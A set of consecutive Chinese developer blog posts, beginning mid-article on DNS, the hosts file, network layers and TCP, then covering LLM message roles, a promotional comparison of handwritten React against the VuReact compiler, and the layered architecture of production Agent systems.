很多大厂在全国(甚至全球)部署机房,DNS 解析服务会通过用户的 Local DNS 出口 IP 判断你的城市,然后返回附近机房的 Nginx 代理 IP。这就是 CDN 就近接入的底层逻辑。

比如在北京访问 douyin.com,DNS 可能解析到北京的边缘节点;到了上海出差,解析结果会变成上海的节点。不仅降低了延迟,也分散了源站压力。

小技巧:你可以用 nslookupping 测试域名在不同网络下的 IP,能看到 CDN 调度的效果。


三、本地 DNS 的“后门”:hosts 文件

在 DNS 查询链路中,有一个优先级很高却常被开发者忽略的环节:操作系统 hosts 文件

Windows 路径:

C:\Windows\System32\drivers\etc\hosts

macOS / Linux 路径:

/etc/hosts

它可以手动定义域名到 IP 的映射,比如:

127.0.0.1  douyin.com

这样访问 douyin.com 时,浏览器就直接走本地回环地址,完全跳过 DNS 解析

实际开发中的妙用

  • 本地开发时,将测试域名指向 127.0.0.1,就能用真实域名测试 cookie、token 等域名相关逻辑。
  • 线上故障应急时,有时会临时修改 hosts 跳过故障 DNS 或直奔某台服务器。

注意,localhost 这类特殊域名甚至不需解析,操作系统就直接识别成环回地址。


四、数据如何上路:OSI 七层模型形象理解

DNS 拿到 IP 之后,浏览器开始和服务器建立连接,真正传输数据。
这就进入到了经典的 OSI 七层模型(实际互联网更多用 TCP/IP 四层),从下往上看数据的变化:

  1. 物理层
    网线、光纤、无线电波。传输的最底层是 0 和 1 的电信号或光信号。

  2. 数据链路层
    数据被加上 MAC 地址(每台上网设备的唯一硬件标识),组成数据帧。

    目标 MAC + 源 MAC + 数据
    
  3. 网络层
    加上 IP 地址,让数据能够跨网络到达目标主机。

    目标 IP + 源 IP + MAC + 数据
    
  4. 传输层
    再加上 TCP 或 UDP 协议头。TCP 头部包含序号、确认号、窗口大小等,保证可靠性。

    TCP 头(序号…)+ IP + MAC + 数据
    

这就像寄快递:

  • 物理层是公路/飞机
  • 链路层是小区收发室(MAC)
  • 网络层是城市和街道(IP)
  • 传输层是快递公司的签收规则(保证不丢件、不乱序)

五、TCP:可靠传输的规矩

HTTP 协议基于 TCP,而 TCP 为了保证数据完整有序,制定了一套规矩:

1. 拆包与并发传输

服务器要返回一个 HTML 文件,可能几十 KB 甚至几百 KB。TCP 不会一次性全部扔到网上,而会切分成固定大小(MSS)的数据包,分批次、多通道并发发送。

这样即使某个包卡住了,其他包也能继续前进,提高效率。

2. 序号与排序

每个包在 TCP 头部都带着序号,接收端按序号重新拼装数据。
即使包到达的顺序是乱的(因为网络路由不同),也能重新排好。

3. 丢包重发

如果发送方一段时间没收到某个包的确认(ACK),就认为丢包,触发自动重传。这就是 TCP 可靠性的保障。

对比 UDP:UDP 不建立连接、不保证顺序、不重传,但速度快,适合直播、视频会议等对实时性要求高的场景。

4. 三次握手本质

我们在上一篇文章提过三次握手,其实它的核心就是同步双方的初始序号,确认彼此收发能力正常。只有握手完成后,浏览器才会发送真正的 HTTP 请求。


六、落地到面试:你能这样说

当面试官问起“DNS 过程中做了什么”,你可以这样组织语言:

  1. 浏览器先查本地缓存(含 chrome://net-internals/#dns 记录)和操作系统 hosts 文件。
  2. 没有命中,则逐级向上递归查询,直到拿到 IP(很可能是一个反向代理 IP)。
  3. 这个 IP 背后通常是 Nginx 等代理,代理根据负载均衡策略将请求转发到内部某台真实服务器。
  4. 同时 CDN 会通过 DNS 智能解析,返回离用户最近的边缘节点 IP。

问到数据传输,可以补充:

  • 物理层、链路层、网络层、传输层的逐层封包过程
  • TCP 通过拆包、序号、重传来保证可靠性,而 UDP 牺牲可靠性换取速度
  • 三次握手是为了同步序号、验证双方收发能力

这样,不仅讲清了前端视角的请求全过程,还向下扎到了网络架构和传输原理,能充分展示你的计算机基础。


掌握这些细节,你再回答那道经典面试题时,就不再是“表面流程复读机”,而是一个能讲出“为什么”和“底层发生了什么”的开发者。下一期我们可以继续聊聊 HTTPS 的 TLS 握手,敬请期待。

面试官:给 llm 传递上下文,有哪几个身份 role ❓❓❓

大家好 👋,我是 Moment,目前正在使用 Next.js、NestJS、LangChain 开发 DocFlow。这是一个面向 AI 场景的协同文档平台,集成了基于 Tiptap 的富文本编辑、NestJS 后端服务、实时协作与智能化工作流等核心模块。

在这个项目的持续打磨过程中,我积累了不少实战经验,不只是 Tiptap 的深度定制、编辑器性能优化和协同方案设计,也包括前端工程化建设、React 源码理解以及复杂项目架构实践。

如果你对 AI 全栈开发、文档编辑器、前端工程化或者 React 源码相关内容感兴趣,欢迎添加我的微信 yunmz777 一起交流。觉得项目还不错的话,也欢迎给 DocFlow 点个 star ⭐

image.png

很多项目在早期都能跑通,到了中后期却开始不稳。最常见的原因不是模型变差,而是上下文结构越来越乱。你把规则、问题、历史、检索结果、工具输出全部堆在一起,短期看起来省事,长期一定会出问题。常见表现有这些:

  • 明明要求输出 JSON,模型还是自由发挥
  • 明明给了检索结果,模型却忽略证据
  • 明明上一轮说清楚了,这一轮又答偏
  • 一加新条件,前面的格式约束就失效
  • 出问题时很难定位是规则错、检索错还是历史污染

问题的核心不在提示词文案,而在上下文分层。role 的价值正是在这里。

role 的本质

role 不是标签装饰,它在告诉模型三件事:

  • 这段内容来自谁
  • 这段内容属于哪一层
  • 这段内容应按什么优先级理解

同一句话放在不同 role,效果会明显不同。比如 请只输出 JSON 放在高优先级规则层通常更稳,塞进用户问题里更容易在复杂场景被冲掉。所以 role 解决的是上下文治理问题,不是接口语法问题。

常见 role 和信息来源

在多数对话接口里,核心角色通常是四类:

  • developer
  • system
  • user
  • assistant

还有一个容易混淆的点,工具返回结果通常不应当当作普通对话角色,而应作为独立证据输入。从工程视角看,一次请求里的上下文来源通常是五层:

  • 规则层,通常来自 systemdeveloper
  • 任务层,来自当前 user
  • 历史层,来自对话历史中的 userassistant
  • 事实层,来自 tool、检索或数据库
  • 生成目标层,定义这一轮最终输出要求

四个核心角色怎么用

developer

developer 是应用开发者写给模型的长期行为约束。它描述这个助手长期应如何工作,而不是本轮要回答什么问题。适合放在这里的内容:

  • 助手定位
  • 默认语言
  • 回答结构
  • 输出格式
  • 工具使用策略
  • 不确定时的处理方式
  • 禁止编造规则
const input = [
  {
    role: "developer",
    content:
      "你是技术讲解助手。默认中文。先给结论再展开。不确定时明确说明,不要编造。",
  },
  {
    role: "user",
    content: "请解释 JWT 和 Session 的区别",
  },
];

system

system 也是高优先级层,但更偏平台级或全局边界。它常用于跨场景都成立的底线规则。适合放在这里的内容:

  • 全局身份边界
  • 合规与安全要求
  • 平台级能力限制
  • 不可突破的红线

很多项目里 developersystem 会有重叠。只要职责清晰,是否拆开都可以。

user

user 承载本轮任务目标,不承载长期规则。它回答的是现在要做什么,而不是系统长期怎么做。常见内容:

  • 当前问题
  • 补充条件
  • 输出偏好
  • 输入材料
const input = [
  {
    role: "developer",
    content: "你是中文技术助手,回答准确并保持简洁。",
  },
  {
    role: "user",
    content: "请解释什么是 RAG,并给一个 TypeScript 场景示例",
  },
];

assistant

assistant 是模型历史回复层,作用是保持多轮连续性。它不是规则层,也不是事实仓库。

const input = [
  {
    role: "developer",
    content: "你是前端导师,解释时要循序渐进。",
  },
  {
    role: "user",
    content: "什么是向量数据库",
  },
  {
    role: "assistant",
    content: "向量数据库是为高维向量检索设计的存储与查询系统。",
  },
  {
    role: "user",
    content: "它和传统数据库的区别是什么",
  },
];

assistant 历史不是越多越好。历史过长、重复或噪声过多,会直接拉低后续轮次稳定性。

工具返回到底放哪层

工具结果、检索片段、数据库查询、网页抓取,本质上都是外部证据,不是模型自己说过的话。如果把这些内容伪装成 assistant 历史,会出现三个问题:

  • 语义边界混乱,模型分不清自述和证据
  • 历史层污染,后续轮次越来越难控
  • 调试成本上升,问题定位困难

更稳的策略是:

  • 规则放 systemdeveloper
  • 任务放 user
  • 历史放 assistant
  • 证据放独立事实层

RAGAgent、工作流编排里,这一点几乎是稳定性的分水岭。

一句话说清楚:把规则、任务、历史、外部事实和生成目标分层放置,LLM 的稳定性、可信度和可调试性都会明显提升。

四种高频场景的组织方式

单轮问答

developer + user 即可,结构最轻。

const input = [
  {
    role: "developer",
    content: "你是中文技术助手,回答清晰且准确。",
  },
  {
    role: "user",
    content: "请解释什么是 SSE",
  },
];

多轮对话

developer + user 基础上加入必要 assistant 历史,保证上下文连续。

RAG 问答

规则、问题、证据分层,不要把检索内容伪装成 assistant

const input = [
  {
    role: "developer",
    content: "仅依据提供资料回答,不确定时明确说明。",
  },
  {
    role: "user",
    content: "文档里如何定义 RLS",
  },
  // 检索结果作为独立证据输入
];

工具调用型 Agent

流程通常是规则定义、任务输入、模型决策、工具返回、最终回复。关键点始终是证据层和历史层分离。

这一段也可以直接用一张图讲透,重点表达每个角色的禁放内容、统一分层原则和高频错误。

如下图所示:

image.png

图里按左中右依次呈现禁放项、分层原则、错误清单,读者扫一眼就能建立正确的上下文组织习惯。

总结

LLM 传递上下文时,role 不是身份扮演,它是上下文架构的第一层。核心角色可以记成四个:

  • developer 负责应用规则
  • system 负责全局边界
  • user 负责当前任务
  • assistant 负责历史承接

工具返回、检索结果、数据库结果这类外部事实,应单独进入证据层。一句话总结这套方法就是,规则、任务、历史、外部事实、生成目标必须分层,各归各位。只要这件事做对,很多看起来像模型能力问题的现象,最终都能回到可治理的上下文工程问题。 如果把这套原则再压缩成一条执行口令,就是谁定义规则、谁提出任务、谁给出证据、谁负责输出,都必须放在各自那一层,不能混写。结构一旦干净,后续 prompt 设计、RAG 召回和 Agent 调试都会明显轻松。

手写 React 对比 VuReact 编译:真正省下来的是维护成本

📢 前言

很多人讨论 Vue 转 React,第一反应总是“能不能转”“转得快不快”“性能差多少”。

但如果你真的做过迁移,或者真的在 React 里维护过一批复杂组件,你很快会发现,最贵的往往不是第一次把组件写出来,而是之后每一次修改、交接、重构、补功能时,你还要不要重新审一遍 useCallbackuseMemo、依赖数组、事件回调和样式隔离。

所以这篇文章不讨论跑分,也不讨论玄学优化。我只想回答一个更实际的问题:

同一个组件,如果你手写 React,需要亲自维护的东西,是不是明显比“用 Vue 写输入,再交给 VuReact 编译”更多?

我的结论是:是,而且差距不小。VuReact 真正省下来的,不只是迁移动作本身,而是组件进入长期维护期之后,那些原本要由开发者脑补、手填、反复确认的成本。

比较口径说明

为了避免这篇文章变成情绪化宣传,我先把比较口径说清楚。

本文不比较运行时 benchmark,不比较“谁更现代”,也不假装手写 React 只有一种写法。这里比较的是典型工程实现下的维护成本,维度固定为:接口、回调、依赖、样板代码、样式隔离、运行时纯度。

维度 手写 React VuReact 编译路线
props 类型声明 需要手动设计和维护 defineProps / defineEmits 可映射为 TS 类型
事件回调 wiring 需要手动把事件改成 onXxx 编译阶段自动映射
Hook 依赖维护 需要开发者自己判断和补齐 编译阶段自动分析、自动注入
对象/数组 memo 判断 需要自己决定要不要包 useMemo 只对可分析的响应式表达式做优化
样式隔离处理 需要自己选方案并维护一致性 scoped 可直接落成带作用域标识的 CSS
最终产物纯度 取决于你的实现方式 输出就是纯 React,不带 Vue 运行时

也就是说,这篇文章不是在说“手写 React 不好”,而是在说:如果同样的业务目标可以用 Vue 输入 + VuReact 编译完成,那么你本来需要自己承担的维护义务,会少很多。

主证据样本:同一个组件,三种维护方式

我先拿一个综合样本来说话。这个样本不是极端 demo,而是很像真实业务组件:有 props、有 emits、有 ref、有 computed、有顶层箭头函数、有对象方法,还有 scoped 样式。

先看 Vue 输入。你会发现它本质上就是一个很正常的 Vue 3 组件,没有为了“迁移”刻意写成奇怪样子。

<template>
  <section class="counter-card">
    <h1>{{ props.title }}</h1>
    <h2>VuReact + Vue = React ({{ count }})</h2>
    <p>{{ title }}</p>
    <button @click="increment">+1</button>
    <button @click="methods.decrease">-1</button>
  </section>
</template>

<script setup lang="ts">
// @vr-name: HelloWorld
import { computed, ref, watch } from 'vue';

const props = defineProps<{ title?: string }>();
const emits = defineEmits<{ (e: 'update', value: number): void }>();

const step = ref(1);
const count = ref(0);
const title = computed(() => `阶数:x${step.value}`);

const increment = () => {
  count.value += step.value;
  emits('update', count.value);
};

const methods = {
  decrease() {
    count.value -= step.value;
    emits('update', count.value);
  },
};

watch(count, (newVal) => {
  step.value = Math.floor(newVal / 10) || 1;
});
</script>

<style scoped>
.counter-card { border: 1px solid #ddd; padding: 12px; }
</style>

如果这段逻辑让你手写成 React,一个很典型的等价实现,大概会长这样。注意,这不是“唯一正确写法”,而是一个工程上完全合理、也是多数团队都会接受的版本。

import { memo, useCallback, useEffect, useMemo, useState } from 'react';
import './HelloWorld.css';

type IHelloWorldProps = {
  title?: string;
  onUpdate?: (value: number) => void;
};

const HelloWorld = memo((props: IHelloWorldProps) => {
  const [step, setStep] = useState(1);
  const [count, setCount] = useState(0);

  const title = useMemo(() => `阶数:x${step}`, [step]);

  const increment = useCallback(() => {
    setCount((prev) => {
      const next = prev + step;
      props.onUpdate?.(next);
      return next;
    });
  }, [step, props.onUpdate]);

  const methods = useMemo(
    () => ({
      decrease() {
        setCount((prev) => {
          const next = prev - step;
          props.onUpdate?.(next);
          return next;
        });
      },
    }),
    [step, props.onUpdate],
  );

  useEffect(() => {
    setStep(Math.floor(count / 10) || 1);
  }, [count]);

  return (
    <section className="counter-card">
      <h1>{props.title}</h1>
      <h2>VuReact + Vue = React ({count})</h2>
      <p>{title}</p>
      <button onClick={increment}>+1</button>
      <button onClick={methods.decrease}>-1</button>
    </section>
  );
});

再看 VuReact 的编译产物。这里最关键的不是“它也能跑”,而是它并没有牺牲 React 工程质量。你在 React 里想要的 memouseComputed/useVRefuseCallbackuseMemo、类型接口、样式作用域,它都完整落下来了。

import { useComputed, useVRef, useWatch } from '@vureact/runtime-core';
import { memo, useCallback, useMemo } from 'react';
import './HelloWorld-ebf8d8dc.css';

export type IHelloWorldProps = {
  title?: string;
} & {
  onUpdate?: (value: number) => void;
};

const HelloWorld = memo((props: IHelloWorldProps) => {
  const step = useVRef(1);
  const count = useVRef(0);
  const title = useComputed(() => `阶数:x${step.value}`);

  const increment = useCallback(() => {
    count.value += step.value;
    props.onUpdate?.(count.value);
  }, [count.value, step.value, props.onUpdate]);

  const methods = useMemo(
    () => ({
      decrease() {
        count.value -= step.value;
        props.onUpdate?.(count.value);
      },
    }),
    [count.value, step.value, props.onUpdate],
  );

  useWatch(count, (newVal) => {
    step.value = Math.floor(newVal / 10) || 1;
  });
});

这时候真正值得看的,不是“哪段代码更短”,而是“哪些维护动作必须由人来做”。按上面这个样本的可见代码统计:

指标 手写 React Vue 输入 + VuReact
显式优化 API 数量 5 处:memo、2 处 useMemouseCallbackuseEffect 0 处由开发者手写
需要手填的依赖数组项数量 6 项 0 项
与稳定性相关的样板代码行数 约 18 行 0 行由开发者额外维护
需要开发者主动判断的优化点数量 至少 5 个 0 个优化判断点

这个表的意义很直接:VuReact 不是帮你“少写一点 React 语法”,而是帮你少承担一整套组件级维护义务。你不用亲自决定标题该不该 useMemo,不用亲自判断回调依赖要不要补 onUpdate,也不用在每次改业务时重新审一遍数组是不是还正确。

次证据样本:连 slot 到 children 的接口翻译,也会更顺

如果只聊 Hook,你可能会以为这件事只是“少写几个依赖数组”。其实不是。组件接口设计本身,也会因为 VuReact 变得更顺。

以插槽为例,Vue 里的默认插槽会自然映射成 React 的 children,作用域插槽会映射成带参数的函数 children。也就是说,VuReact 帮你省掉的,不只是底层优化,还有内容分发接口的手工翻译成本。

例如:

<slot></slot> 会直接落成 props.children

<slot :item="item" :index="i"></slot> 会落成 props.children?.({ item, index })

这件事看起来小,实际在大型组件库里特别重要。因为你少做的不是一行改写,而是少做一次“我要把 Vue 的内容分发机制手工翻成 React 接口”的设计工作。对于需要交给别人继续维护的组件,这种接口自然度非常值钱。

工程上更关键的一点:产物是纯 React,不是套壳

很多“转换工具”最让人不放心的地方,不在于能不能跑,而在于它最后到底给你留下了什么。

VuReact 在这一点上的边界其实很清楚:官方文档明确强调,编译产物最终为纯 React 应用,不依赖 Vue 运行时,也不是在 React 中嵌入 Vue 容器的套壳方案。

这句话为什么重要?因为它直接决定了后续维护体验。

如果最终产物是双运行时桥接,短期也许能演示,但长期一定会出现调试复杂、性能归因困难、团队协作断层的问题。可如果最终产物就是标准 React 代码,那它就能直接进入你现有的 React 工具链、code review 流程和长期演进路径。

这也是为什么我更愿意用官网那四个词来概括 VuReact:语义感知、渐进迁移、约定驱动、完整特性适配。 它不是在做“表面可运行”,而是在做“可进入工程维护周期的 React 产物”。

为什么这对团队比对个人更重要

个人开发者感受到的是轻松,团队感受到的则是确定性。

对 code review 来说,少一些手工 memo 和依赖数组,意味着 review 的注意力可以更多放回业务本身,而不是反复检查“这里是不是漏依赖了”。对交接来说,新同事看到的是更稳定的输入约定和更标准的输出产物,而不是一堆高度依赖原作者经验的 React 小技巧。

对重构来说,成本差异更明显。手写 React 组件经常让人不敢轻动,因为你一改业务结构,就可能牵动 useMemouseCallbackuseEffect 的依赖关系。VuReact 让这类稳定性工作前移到编译阶段,本质上是在降低重构的心理门槛。

对迁移路线也是一样。你当然可以手写一个组件、十个组件,但当项目规模上来之后,真正难的不是有没有人会写 React,而是有没有办法把大量“手工判断”变成稳定流程。VuReact 的价值,恰恰就在这里。

下一步怎么验证

如果你想判断这是不是适合你的路线,最好的方法不是继续看宣传语,而是直接去看真实产物。

先看官网的 语义编译对照 和 “为什么选 VuReact”,确认它是不是你认同的工程思路;再看 GitHub 和在线演示,判断编译后的 React 项目是不是你愿意接手维护的样子;如果还想继续深挖,可以再读我前面写过的那篇 “证据链” 文章,专门看 Hook 和依赖数组那一层的负担差异。

官网GitHub在线演示(CRM)在线演示(Customer Support Hub)

💬 写在最后

VuReact 的初心一直没有变——让你用熟悉的 Vue 编写 React,同时让项目平滑迁移到 React 生态,降低迁移成本,保留开发体验

它是一款面向 Vue 转 React 编译工具,它能将 Vue 3 代码编译为标准、可维护的纯 React 。

🌐 Github:github.com/vureact-js/… 📃 官方文档:vureact.top

✨ 如果你觉得本文对你理解 VuReact 有帮助,欢迎点赞、收藏、关注!Github 仓库点亮 Star ⭐!

2026 年,AI 全栈时代到了,前端简历别再只写前端技术了 🫠🫠🫠

大家好 👋,我是 Moment,目前正在使用 Next.js、NestJS、LangChain 开发 DocFlow。这是一个面向 AI 场景的协同文档平台,集成了基于 Tiptap 的富文本编辑、NestJS 后端服务、实时协作与智能化工作流等核心模块。

在这个项目的持续打磨过程中,我积累了不少实战经验,不只是 Tiptap 的深度定制、编辑器性能优化和协同方案设计,也包括前端工程化建设、React 源码理解以及复杂项目架构实践。

如果你对 AI 全栈开发、文档编辑器、前端工程化或者 React 源码相关内容感兴趣,欢迎添加我的微信 yunmz777 一起交流。觉得项目还不错的话,也欢迎给 DocFlow 点个 star ⭐

最近我给一些前端方向的实习生做内推,看了不少简历。投递里常能看出一种预设,找实习只要把前端做熟,页面和接口能啃下来,似乎就踩对了主线。初筛读多了会有另一种感受,当业务和岗位已经大量贴上大模型、RAGAgent 时,纯前端技术栈写得再工整,也很难在一叠写法雷同的简历里单独把人托起来。

我想写的不是简历技巧,评审更常问的是,你有没有把智能接进一条可维护、可观测、也能和人协作的链路,还是只在项目名里多写几个关键词。

许多项目经历段落,技术名词很全,叙事却薄。写得多的几种模式是:

  • 周期很短,却同时堆上 RAG、流式输出、鉴权与复杂治理,读者很难估计真实投入与掌握深度
  • 段落像功能清单,缺少场景、难点、个人职责与可验证结果,性能数字也缺少口径与复现方式
  • 形态集中在教程型对话台或后台管理,技术栈高度同质,差异化不明显
  • Agent 被写成调模型、接工具,很少触及运行时、状态机、评测、观测与人在回路

还有一种写法,整段都在堆大家简历里常见的工程项,例如 JWT、双 tokenRBAC、请求拦截器、SSEWebSocket 流式、分片上传、虚拟列表。十条里七八条读起来像同一篇教程拆出来的,名词齐了,却看不出你解决的是哪一道别人没写清楚的难题。基本功当然要会,可若差异化只停在这一层,筛简历的人很难把你从同质化描述里拎出来。

简历上的项目经历一撞脸,筛简历的人就只好盯你有没有把系统做实。后面我按层写。

这两年简历里写 Agent 的人越来越多,细看实现却常常撞脸,核心路径几乎总是同一条。

接收用户输入,调用大模型,解析工具调用,执行工具,返回结果。

引用里那几步,无非是调模型、解析工具调用、执行、再把结果塞回模型。脚手架和跟练多了,半天跑通一个 Demo 很常见。评审里想听的,往往是上线以后要应付的那些事,超时、重试、成本、人要确认、出了事故怎么查和改,你有没有提前铺过路。

面试里真正该往下问的,早就不该是这种技能清单:

  • 你会不会调 LLM
  • 你会不会接 Tool
  • 你会不会用 LangChain

而是更底层的这个问题:

你有没有把 Agent 当成一个系统,而不是一个函数调用?

能讲清楚这一句,面试官才会继续往下问。落地时大家会盯这几件事有没有做实,有没有进真实产品而不是停在演示分支:

  • 有没有独立的 Agent Runtime
  • 有没有显式状态机驱动的 Agent Loop
  • 有没有把评测做成回归闸门
  • 有没有把观测、检测、红队、安全、成本和用户干预整成闭环
  • 能不能把这些能力真正接进产品,而不是停留在一段演示代码

缺了这些,名字再响亮,多半仍是一个带工具调用的聊天接口。本文不写怎么接 OpenAI、怎么声明 Tool,只写骨架。

从 Demo 到产品,Agent 系统到底还差哪几层骨架。

下面按层拆开说明。

为什么很多 Agent 项目能跑,但没有技术区分度

很多人会以为把大模型、多轮、ToolMemoryRAG 勾齐,项目就算做完了。那点东西多半只盖住 demo 里的顺利路径,一遇到真实流量,缺的是运行时、安全、观测和评测这一整圈骨架,而不是再多接一个模型。

它们看起来像 Agent,实际上更像一个带工具调用的聊天接口。

一放量,问题会先挤在几块地方,很少单靠改一段 Prompt 就能压住:

  • 同一类提问有时成有时败,工具忽对忽错
  • 用户只看到转圈,不知道卡在推理还是在等工具
  • 线上成功率掉了,分不清是模型、工具还是外部 API
  • Prompt 改完自测像变聪明,线上指标却掉头
  • 偏航多步也没有让人半途介入的口子
  • token 和钱烧在哪些步骤,心里没底

根本原因多半不在 Prompt 花不花或 Tool 多不多,而在下面几块是否长期空白:运行时、状态机、可观测、评测、风险、HITLStreaming、成本、异常和线上告警。填不全,项目就会一直像在交课堂作业。只会用 LangChain 也不等于会做 Agent,框架主要管编排,编排以外的那一圈才是评审想听你讲清楚的。

前端加 LangChain 开发者的真正优势

前端背景再叠上 LangChainLangGraph、工具与记忆,常被低估。和算法岗比的不是论文厚度,而是能不能把智能体做成别人能长期点着用的产品。

你更占便宜的地方,是把 Agent 做成用户看得见、停得下来、出了问题能对上账的系统。

模型只是其中一个节点。好不好用还要看,现在在干什么、为什么选这个工具、失败怎么补、用户能不能打断、高风险要不要确认、耗时和钱能不能对上账、改完 Prompt 有没有回归、输出能不能验、输入和工具参数有没有护栏、线上有没有告警。这些早就不是单次推理,而是一整条链路的工程活。状态、异步、中间态、确认、埋点和展示,本来就是前端日常,这块你会比只写脚本的人更顺手。

介绍自己时不必缩成会接某家 API 的前端,可以收成一句实在话。

我负责把 LLM 编排、工具、状态机、可观测、评测和交互收成一条,给人用的是产品不是脚本。

交付物也更该像任务控制台,把推理、调工具、等确认、报错恢复这些阶段摊开,而不是聊天框里一条接一条的气泡。

把 Agent 理解成运行中的系统而不是调用链

先把问题问清楚,这东西在产线里更像一次短请求,还是像一趟要跑很久的任务。

不要把 Agent 理解为一次请求的处理流程,而要把它理解为一个持续运行的任务系统。

普通接口大约四步,请求进来,处理完就结束。Agent 更像长跑任务,中间状态多。下图是一条典型阶段划分,提醒自己别再用短接口的思维去估长任务。

20260423093052

图的意思很直白,Agent 更接近任务引擎,而不是只吐一段字的接口。接下来这些问题躲不掉,状态放哪、刷新后怎么续、工具超时重试还是交给人、高风险要不要审批、token 快顶了还跑不跑、工具能不能并行、连走几步没进展算不算打转。这些都算系统设计,不是多写两行 Prompt 能糊过去的。

一个有区分度的 Agent 系统应有的分层

Agent 如果只停在调模型、调工具,听起来总像缺一块。动手前最好先想清楚,界面交互、流程编排、运行时控制、安全治理、可观测和评测各自归谁管,别全糊进一条链。

对外说法可以很简单,Agent 像一条流水线:

用户输入 → 模型推理 → 调用工具 → 返回结果

真要拆职责,可以收成六层:

  • 交互层:用户看得见、点得着的界面,负责步骤展示、审批、中断、重试和结果反馈
  • 编排层:用 LangChainLangGraph 等把 Prompt、模型、工具、记忆和状态流转组织成可维护的流程
  • 运行时 Harness:管理步数、超时、预算、快照、重试、取消和收尾,决定任务如何真正跑完或安全停下
  • 安全与检测层:在输入、工具执行前、输出和轨迹上做规则与模型检测,拦住不该发生的行为
  • 可观测层:用 Trace、Metrics、日志把每一步变成可查询、可对比、可回放的事实
  • 评测层:通过离线集、回归闸门和线上灰度,用数据判断一次改动到底有没有变好

编排层按意图出计划和工具调用,运行时层在预算、超时和状态约束下执行。执行中安全层可能拦截或要审批,可观测层记全程,评测层再拿这些记录去约束下一版 Prompt、节点、工具和发版节奏。

分层不是为了把图画复杂,而是别把运行时、安全、回放、评测和灰度都指望 LangChain 自动搞定。框架主要管编排,编排外那一圈才决定工程含量。

用户意图从交互层进编排层,编排层再把可执行步骤交给运行时。

image.png

运行时不只是把流程跑完,还要在执行过程中持续接入安全检测和可观测能力。

image.png

可观测记录下来的事实,会进入评测体系,再反向约束下一轮编排和发布策略。

image.png

每层用一句话带过,细节可以另写。

交互层负责摊开给人看、给人控。过程可见、风险写操作前要确认、能中断和改向,这些要和运行时对齐,别事后在文案里补两行提示。

编排层用 PromptToolMemory、图或链把节点串起来。LangChain 一类框架主要管这一层,观测、中断、预算、版本和 bad case 回流多半在编排之外,别把欠账算在框架头上。

运行时层用 Harness 钉死步数、单步和整体超时、token 和墙钟预算、取消和收尾。结束由状态和 Harness 判定,预算触顶该降级就降级,别指望模型自己说做完了。

安全与检测要盖住输入、工具执行前、输出和轨迹。模型吐出来的 tool call 只是草稿,执行前要走白名单、schema、权限和风险分级,高危路径该审批就审批。

可观测层靠 Trace、分层指标和结构化日志,把一次任务从猜变成查,后面才好做归因、回放和调参。

评测层用离线用例、回归闸门和线上灰度回答有没有变好。Prompt、模型、工具或状态机一动,就该自动对比基线,线上反馈要能回灌进用例集。

六层都沾到,才像能交给别人托管的产品,而不是只证明链路能跑通的 Demo

Agent Loop 应该是显式状态机而不是 while 循环

最朴素的 Agent Loop 是反复调模型、判断是否调工具、拿结果再回模型,直到产出答案。这个流程能跑通,但一进真实场景就容易失控,因为很多关键分支塞不进一个裸 while 循环。

真正容易栽跟头的几件事:

  • 工具失败后的重试与止损
  • 高风险动作前的人工确认
  • 预算触顶后的降级与收尾
  • 上下文过长时的压缩与续跑
  • 用户中断后的恢复与回放

Loop 收成显式状态机,让系统在 ReasoningToolSelectingExecutingAwaitingConfirmationRecoveringFinalizing 等状态之间按条件跳转,分支写在表里,比藏在 if 里好查也好测。

状态机写清楚以后,日常会顺很多。状态一眼能看见,分支不再散在 if 里,前后端对得上号,暂停、恢复、撤销、重试也好接。

把它和前面的 AgentHarness 组合后,职责会更清晰:

  • Harness 负责时间、步数、token、取消和强制收尾
  • 状态机负责业务语义、路径选择和异常分支

上线以后,Loop 往往还要挂审批、检测、回滚、埋点和评测,能挂在状态切换点上就别散在业务代码里。

收个尾,Agent Loop 不该只是会转的循环,最好收成一台可解释、可干预、可恢复、也能审计的状态机。

把人设计进系统而不是把人当兜底

很多团队把 HITL 理解成出错后的兜底,这会让人机协同长期停在救火阶段。设计阶段就把哪些动作自动放行、哪些必须确认、哪些默认拒绝写清楚,比上线后救火省事。

HITLHuman-in-the-loop,意思是把人放进关键决策回路。系统负责执行与提议,人负责在高风险节点确认、纠偏和兜底。

风险分级可以先从三档起步,阈值和白名单由业务与合规共同维护:

  • 低风险,默认自动执行,失败后可重试或降级,例如搜索文档、读取代码、查询只读数据、整理摘要
  • 中风险,可自动执行但要留痕,并保留撤销窗口,例如文案修改、批量替换、工作区文件编辑
  • 高风险,执行前必须阻断并等待确认,例如删除文件、外网请求、代码提交、数据库变更、发布和付费接口调用

差别通常不在有没有确认按钮,而在卡片里给不给够决策信息。动作是什么、为什么动、影响范围、能不能撤销、有没有备选,最好一眼能看完,别只剩一句是否继续。

审批如果只在前端拼文案,很快会和真实执行脱节。更省事的做法是把审批收成结构化数据,从后端下发,挂到同一条 trace 上,事件流里推 approval_required,回放、审计和告警都读同一份。

卡片上最好有:

  • 风险等级、审批时限、发起来源一眼可见
  • 受影响资源和变更范围可展开查看,必要时接 Diff
  • 可逆操作提供 Undo 入口和预计回滚成本
  • 支持改参数或切换替代动作后再执行,减少往返沟通
  • 全量记录审批人、审批理由、执行结果,满足审计留痕

审批、trace、状态机和观测如果能共用一套模型,人机协同就不只是打补丁。

Streaming 应该让 Agent 过程可见

流式输出如果只用来更快吐 token,对 Agent 任务帮助有限。用户更想知道现在卡在哪一步、工具在干什么、要不要自己点一下。

事件可以粗分三类,最好走同一条推送通道,省得前端接好几套协议:

  • token 层,持续输出自然语言内容
  • step 层,推送每一步的动作、工具状态和中间结论
  • progress 层,推送总进度、耗时和成本,减少等待焦虑

用一条联合类型把字段钉死,前后端少扯皮。下面是个示意,覆盖状态变化、工具起止、审批、进度和收尾,载体可以用 WebSocketEventSource

type AgentStreamEvent =
  | { type: "state_changed"; state: AgentState; at: number }
  | { type: "token"; text: string; stepId: string }
  | { type: "tool_started"; stepId: string; tool: string; args: unknown }
  | { type: "tool_finished"; stepId: string; ok: boolean; summary: string }
  | { type: "approval_required"; request: ApprovalRequest }
  | { type: "progress"; done: number; total: number; costUsd: number }
  | { type: "final"; answer: string; traceId: string }
  | { type: "error"; message: string; recoverable: boolean };

协议统一以后,时间线、步骤卡片、进度条和审批弹窗才好做,中间态不必全塞进气泡里。界面上比较值得先做的几件事:

  • 步骤折叠与展开,避免长任务刷满屏幕
  • Observation 面板分层展示工具入参、结果摘要、原始返回
  • 工具日志实时滚动,失败步骤高亮并给出重试入口
  • 全局状态浮层显示当前状态机节点与等待原因
  • StopRetryContinue、插话打断与后端取消契约对齐
  • 人工接管入口用于切换执行策略或直接改写下一步
